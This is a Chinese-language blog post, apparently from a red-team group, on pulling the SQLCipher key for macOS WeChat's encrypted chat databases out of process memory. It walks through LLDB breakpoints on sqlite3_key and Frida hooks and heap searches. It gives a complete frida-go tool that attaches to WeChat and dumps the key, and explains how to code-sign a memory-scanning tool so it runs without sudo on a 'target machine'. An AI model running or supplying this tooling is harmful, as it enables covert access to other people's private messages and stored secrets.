前言

现有方案

https://github.com/allen1881996/WeChat-Data-Analysis

LLDB实践

  1. 打开电脑端微信(不要登陆)

  2. 在Terminal输入命令lldb -p $(pgrep WeChat)

  3. br set -n sqlite3_key 设置断点

  4. 输入c,回车(继续运行

  5. 登陆电脑端微信

  6. 输入memory read --size 1 --format x --count 32 $rsi,回车

    1. arm 上替换为 memory read --size 1 --format x --count 32 $x1

      Untitled

  7. 将返回的原始key粘贴到下面的字符串中,用如下代码解析获取密钥:

ori_key = """
0x60000241e920: 0x11 0x22 0x33 0x44 0x55 0xaa 0xbb 0xcc
0x60000241e928: 0x11 0x22 0x33 0x44 0x55 0xaa 0xbb 0xcc
0x60000241e930: 0x11 0x22 0x33 0x44 0x55 0xaa 0xbb 0xcc
0x60000241e938: 0x11 0x22 0x33 0x44 0x55 0xaa 0xbb 0xcc
"""

key = '0x' + ''.join(i.partition(':')[2].replace('0x', '').replace(' ', '') for i in ori_key.split('\\n')[1:5])
print(key)

本地聊天数据库存储路径:~/Library/Containers/com.tencent.xinWeChat/Data/Library/Application Support/com.tencent.xinWeChat/[version]/[uuid]/Message/*.db

App: DB Browser for SQLite 选择如下配置,复制密钥,即可打开浏览:

Untitled

原理探究

Tencent的开源项目WCDB是一个高效、完整、易用的移动数据库框架,基于SQLCipher,支持iOS, macOS和Android。****

SQLCipher 中使用 sqlite3_key 函数打开加密的数据库,wcdb 将其封装在setCipherKey方法下:

int sqlite3_key(sqlite3 *db, const void *pKey, int nKey)

使用 br set -n sqlite3_key 设置其断点。

再使用memory read --size 1 --format x --count 32 $rsi 获取 pKey 传参的值:

x86-64 ; 中函数调用时的参数存储如下寄存器中:
%rdi
%rsi
%rdx
%rcx
%r8
%r9
; 六个寄存器用于存储函数调用时的6个参数(如果有6个或6个以上参数)。
%rsi ; 寄存器存储的为第二个参数,即对应 sqlite3_key 函数的 *pKey 传参。

自动化获取Sqlite3Key思路

从文件中解码

从 wcdb wiki 找到打开加密数据库oc代码:

WCTDatabase *database = [[WCTDatabase alloc] initWithPath:path];
NSData *password = [@"MyPassword" dataUsingEncoding:NSASCIIStringEncoding];
[database setCipherKey:password];

直接调用 frida-trace -m "*[WCTDatabase *]" "微信" 命令开始动态分析,可以看到WCTDatabase出初始化数据日志:

3643 ms  -[WCTDatabase initWithPath:0x6000029d4540]
3643 ms  -[WCTDatabase setTag:0x5]
3643 ms  -[WCTDatabase setCipherKey:0x600001246190 andCipherPageSize:0x400 andRaw:0x1]
3643 ms  -[WCTDatabase createTableAndIndexesOfName:0x1071fa9f8 withClass:0x107713dc8]
3645 ms  -[WCTDatabase getTableOfName:0x1071fa9f8 withClass:0x107713dc8]
...
4044 ms  -[WCTDatabase initWithPath:0x115058b60]
4044 ms  -[WCTDatabase setTag:0xd]
4044 ms  -[WCTDatabase setCipherKey:0x600001246190 andCipherPageSize:0x400 andRaw:0x1]
4044 ms  -[WCTDatabase createTableAndIndexesOfName:0x107207a58 withClass:0x10771f628]
4045 ms  -[WCTDatabase getTableOfName:0x107207a58 withClass:0x10771f628]
4182 ms  -[WCTDatabase isTableExists:0x60000075b400]
...
79122 ms  -[WCTDatabase backupWithCipher:0x600001246190]

读取setCipherKey入参的值,从example的代码可以知道0x600001246190NSData 对象,在frida 中读取到内容:

// 修改文件 WCTDatabase/setCipherKey_andCipherPageSize_andRaw_.js
...
onEnter(log, args, state) {
  log(`-[WCTDatabase setCipherKey:${args[2]} andCipherPageSize:${args[3]} andRaw:${args[4]}]`);

	var nsd = new ObjC.Object(args[2]); // objc 对象
  log(`key ==> nsdata:=${nsd}=`);
  // nsdata.bytes 2 hex string
  log(hexdump(nsd.bytes(), {
    offset: 0,
    length: nsd.length(),
    header: true,
    ansi: true
  }));
},
...

雀氏和使用 lldb 的方式捕获到的数据一致:

Untitled

丢到hopper 一通糊搜乱搜,找到 MessageDB.setupDB 看名字就知道是配置消息数据库的:

r0 = @class(WCDBHelper);
r0 = [r0 CipherKey];
...
[*(r21 + 0x8) setTag:*(int32_t *)(r21 + 0x18)];
[*(r21 + 0x8) setCipherKey:var_78 andCipherPageSize:r28 andRaw:0x1];
...

密钥是从 WCDBHelper.CipherKey 得到的,巴斯简化后的伪代码如下:

a = [[MMServiceCenter defaultCenter] getService: [AccountStorage class]]
i = [[a GetDBEncryptInfo] m_dbEncryptKey]

分析 AccountStorage,有个 init 方法获取数据库的文件路径,使用 PBCoder 从文件解码 DBEncryptInfo:

rax = [PathUtility GetAccountSettingDbPath];
rax = [rax retain];
rcx = *ivar_offset(m_dbEncryptInfoPath);
...
rax = [PBCoder decodeObjectOfClass:[DBEncryptInfo class] fromFile:r13->m_dbEncryptInfoPath];
rax = [rax retain];
rbx = *ivar_offset(m_dbEncryptInfo);

使用 frida hook 找到消息数据库的配置文件,脚本如下:

// 修改文件 PathUtility/GetAccountSettingDbPath.js
onLeave(log, retval, state) {
  var ret = new ObjC.Object(retval); // objc 对象
  log(`return value: ${ret}==`);
}

得到消息数据库的配置文件路径:~/Library/Containers/com.tencent.xinWeChat/Data/Library/Application Support/com.tencent.xinWeChat/[version]/[uuid]/Account/setting_db.data

那么PBCoder 是啥?又是如何解码呢?google 到 腾讯开源的MMKV中的一条issue,知道了pbcoding 是基于 protobuf 进行归档对象的。用 protoc --decode_raw < setting_db.data 命令解码看下,有三个属性,第一个属性应该密钥的东西,第二个不知道,第三是时间戳:

Untitled

这时脑海中有个想法:不去纠结其内部解码的实现,直接用 frida 指定setting_db.data 文件用 pbcoder 解密钥不就行了?(此时没有意识到问题的难度:

// debug.js
var path = ObjC.classes.NSString.stringWithString_("wechatOE/setting_db.data");
var key = ObjC.classes.PBCoder["+ decodeObjectOfClass:fromFile:"](ObjC.classes.DBEncryptInfo, path)
var data = key['- m_dbEncryptKey']();
hexdump(data.bytes(), { offset: 0, length: data.length() });

frida 微信 --debug -l tests/debug.js 执行代码。失败!这里返回的 data 为空:

Untitled

那就先得验证是不是这个函数能直接解出密钥还是有什么额外的验证机制,在 pdcoder decodeObjectOfClass 返回处打了日志:

// 修改 decodeObjectOfClass_fromData_.js
...
onLeave(log, retval, state) {
  var dinfo = new ObjC.Object(retval); // objc 对象
  if (dinfo.$className == "DBEncryptInfo") {
    log(`================[out]DBEncryptInfo================`);
		log(`dinfo=${dinfo}=`);
    log(`dinfo=${dinfo.$ivars}=${dinfo.m_dbEncryptKeyInfo}=${dinfo._m_dbEncryptKey}==${dinfo.m_dbEncryptKey}==${dinfo.m_dbEncryptKeyInfo}==${dinfo.copyFromServerObj}==${dinfo.reset}=`);
    // var data = dinfo.m_dbEncryptKey();
    log(`================[out]DBEncryptInfo================`);
  }
}

其结果还真是各种 m_dbEncryptKey 属性都为空,但是内存中 DBEncryptInfo 的实例只有一个,和这里返回的是同一个地址,就是说pdcoder decodeObjectOfClass 后还是有设置密钥的操作的…

随后巴斯又跟了几遍微信运行流程都没找到详细的内容(只能先放弃此方案。

从内存中读取

经过上面研究分析,从内存获取密钥还是非常容易的,使用frida在内存中搜索 DBEncryptInfo 的实例(通过逆向和多次测试肯定这是个单例),再 dump m_dbEncryptKey(NSData) 的值,运行成功:

Untitled

但在目标机器上装一个frida-tools,还是略显笨拙了,巴斯决定用 frida-go 将这个脚本打包成可执行文件:

package main

import (
	"encoding/json"
	"fmt"
	"strings"

	"github.com/frida/frida-go/frida"
)

func main() {
	fmt.Println(Key())
}

var js = `
var key = ObjC.chooseSync(ObjC.classes.DBEncryptInfo)[0];
var data = key['- m_dbEncryptKey']();
console.log(hexdump(data.bytes(), { offset: 0, length: data.length(), header: false, ansi: false }));
`

type Log struct {
	Type    string `json:"type,omitempty"`
	Level   string `json:"level,omitempty"`
	Payload string `json:"payload,omitempty"`
}

func Key() (string, error) {
	var key string
	c := make(chan struct{}, 1)

	mgr := frida.NewDeviceManager()
	dev, err := mgr.LocalDevice()
	if err != nil {
		return "", err
	}

	session, err := dev.Attach("微信", nil)
	if err != nil {
		return "", err
	}

	script, err := session.CreateScript(js)
	if err != nil {
		return "", err
	}

	script.On("message", func(msg string) {
		defer func() {
			c <- struct{}{}
		}()

		m := Log{}
		err := json.Unmarshal([]byte(msg), &m)
		if err == nil {
			key = parse(m.Payload)
		}
	})

	if err := script.Load(); err != nil {
		return "", err
	}

	<-c
	return key, nil
}

func parse(payload string) string {
	var r strings.Builder
	r.WriteString("0x")

	data := strings.Split(payload, "\\n")
	if len(data) == 0 {
		return ""
	}
	for i := range data {
		v := strings.Split(data[i], "  ")
		if len(v) != 3 {
			continue
		}
		key := strings.ReplaceAll(v[1], " ", "")
		r.WriteString(key)
	}
	if r.Len() == 2 {
		return ""
	}
	return r.String()
}

运行成功:

Untitled

因为内嵌了 frida 动态库,编译的文件非常大:

$ ll wechatoe
-rwxr-xr-x  1 whoami  staff    75M  1 17 17:27 wechatoe

这么大的文件在实战中很碍事,想着怎么优化下文件大小,研究 frida ObjC.chooseSync的原理,是基于 frida-objc-bridge 库实现的,emmm 要是抄下来用c或者objc实现的话,工作量相当大了

工具优化

这时我想到了kk他对内存扫描器非常有研究,当我把分析过程和问题抛给kk时,只要把“相信”打在公屏上即可。在下班前就发了 demo 给我,效果非常好:

Untitled

他没有像frida一样塞个调试器进去,而是找到一组指针路径(arm):105705c90 + 0 > 600001b04190 + 8 > 6000018910e0 + 16 > 600001891120 + 32 > 600003c7d160 ,对就是在开启ALSR的情况下,无论哪次启动App都能靠这组指针路径找到key值。

那么原理是什么呢?

比如采用最暴力的方法(速度非常慢),假设路径是 1-2-3-4-5-6,我们需要的地址是6,那就遍历程序中所有可读写,8字节对齐的地址,找出所有储存6的地址5,再找出所有储存5点地址4,以此类推,会找出大量路径,丢弃虚拟内存范围外的路径,保留开头尽量接近于vmmap -w $(pgrep WeChat)Load Address的地址,然后看运气慢慢测试,最终就能得到结果。想要优化的话方法很多,例如提前将程序全部内存dump一份分块读取之类的,可以省去n次syscall,也可以使用一些算法技巧数据结构,反汇编之类的优化查找精度。

查看Load Address

Untitled

fuzz 出的指针路径:

Untitled

kk已将 dumpkey 工具开源(目前仅支持arm,x86需要重新fuzz找到对应的一组指针路径)。


还有个细节此工具使用 task_for_pid api,需要赋予 sudo 权限,运行起来很碍事,需要给工具签名并添加 com.apple.security.cs.debuggerentitlements.plist 文件内容如下:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "<http://www.apple.com/DTDs/PropertyList-1.0.dtd>">
<plist version="1.0">
<dict>
    <key>com.apple.security.cs.debugger</key>
    <true/>
</dict>
</plist>

操作如下:

$ security find-identity -v -p codesigning # 查看本机开发者证书信息&或者创建新证书
$ codesign -f -s zznQ --entitlements entitlements.plist dumpkey # 设置签名

运行&测试,成功✅:

Untitled


除此之外还要注意 macOS Hardened Runtime安全机制的限制,开启的话使用 task_for_pid 无法控制目标进程(关闭sip可行)。但好在很多macOS用户都会给微信安装了插件,而安装插件后需要对应用进行重新签名,此时就会去除 runtimeflag:

Untitled

但也不是无解,重签名时添加 --options runtime 选项设置强化运行时。

总结

自动化获取Sqlite3 密钥思路就分享到这了,从 setting_db.data 解码部分有点难度最终放弃了。从内存读取密钥还是稳健的,实现的方式也比较多了,无论是 frida 脚本还是内存扫描工具。

本文是巴斯和kk利用业余时间研究的,时间不多x86架构和其他版本的微信都没来得及测试,如果文章有遗漏或者错误的地方,可以一起沟通&交流。

如果师傅们对 iOS&macOS 安全有兴趣的话可以关注下巴斯kk


Powered by Kali-Team